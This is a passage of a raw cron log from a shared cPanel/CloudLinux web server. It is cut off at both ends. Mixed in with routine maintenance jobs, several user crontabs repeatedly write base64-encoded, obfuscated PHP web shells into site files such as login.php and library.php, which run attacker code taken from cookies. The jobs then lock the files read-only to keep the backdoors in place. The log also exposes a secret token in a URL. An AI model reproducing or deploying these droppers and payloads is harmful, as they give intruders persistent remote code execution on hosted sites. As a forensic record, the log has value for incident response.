lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:15:02 medusa CROND[11576]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 04:16:01 medusa CROND[1547]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 04:16:01 medusa CROND[1570]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:16:01 medusa CROND[1674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:16:01 medusa CROND[1676]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:16:01 medusa CROND[1682]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:16:01 medusa CROND[1683]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:16:01 medusa CROND[1684]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:16:01 medusa CROND[1685]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:16:01 medusa CROND[1687]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:16:01 medusa CROND[1688]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:16:01 medusa CROND[1686]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:16:01 medusa CROND[1689]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:16:01 medusa CROND[1690]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 04:16:01 medusa CROND[1693]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:17:01 medusa CROND[24134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:17:01 medusa CROND[24229]: (root) CMD (   /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/update_components_versions.py > /dev/null 2>&1)
Apr 19 04:17:01 medusa CROND[24227]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:17:01 medusa CROND[24232]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:17:01 medusa CROND[24233]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:17:01 medusa CROND[24234]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 04:17:01 medusa CROND[24238]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:17:01 medusa CROND[24239]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:17:01 medusa CROND[24240]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:17:01 medusa CROND[24243]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Apr 19 04:17:01 medusa CROND[24253]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:17:01 medusa CROND[24254]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:17:01 medusa CROND[24257]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:17:01 medusa CROND[24261]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:18:01 medusa CROND[12908]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:18:01 medusa CROND[12909]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWR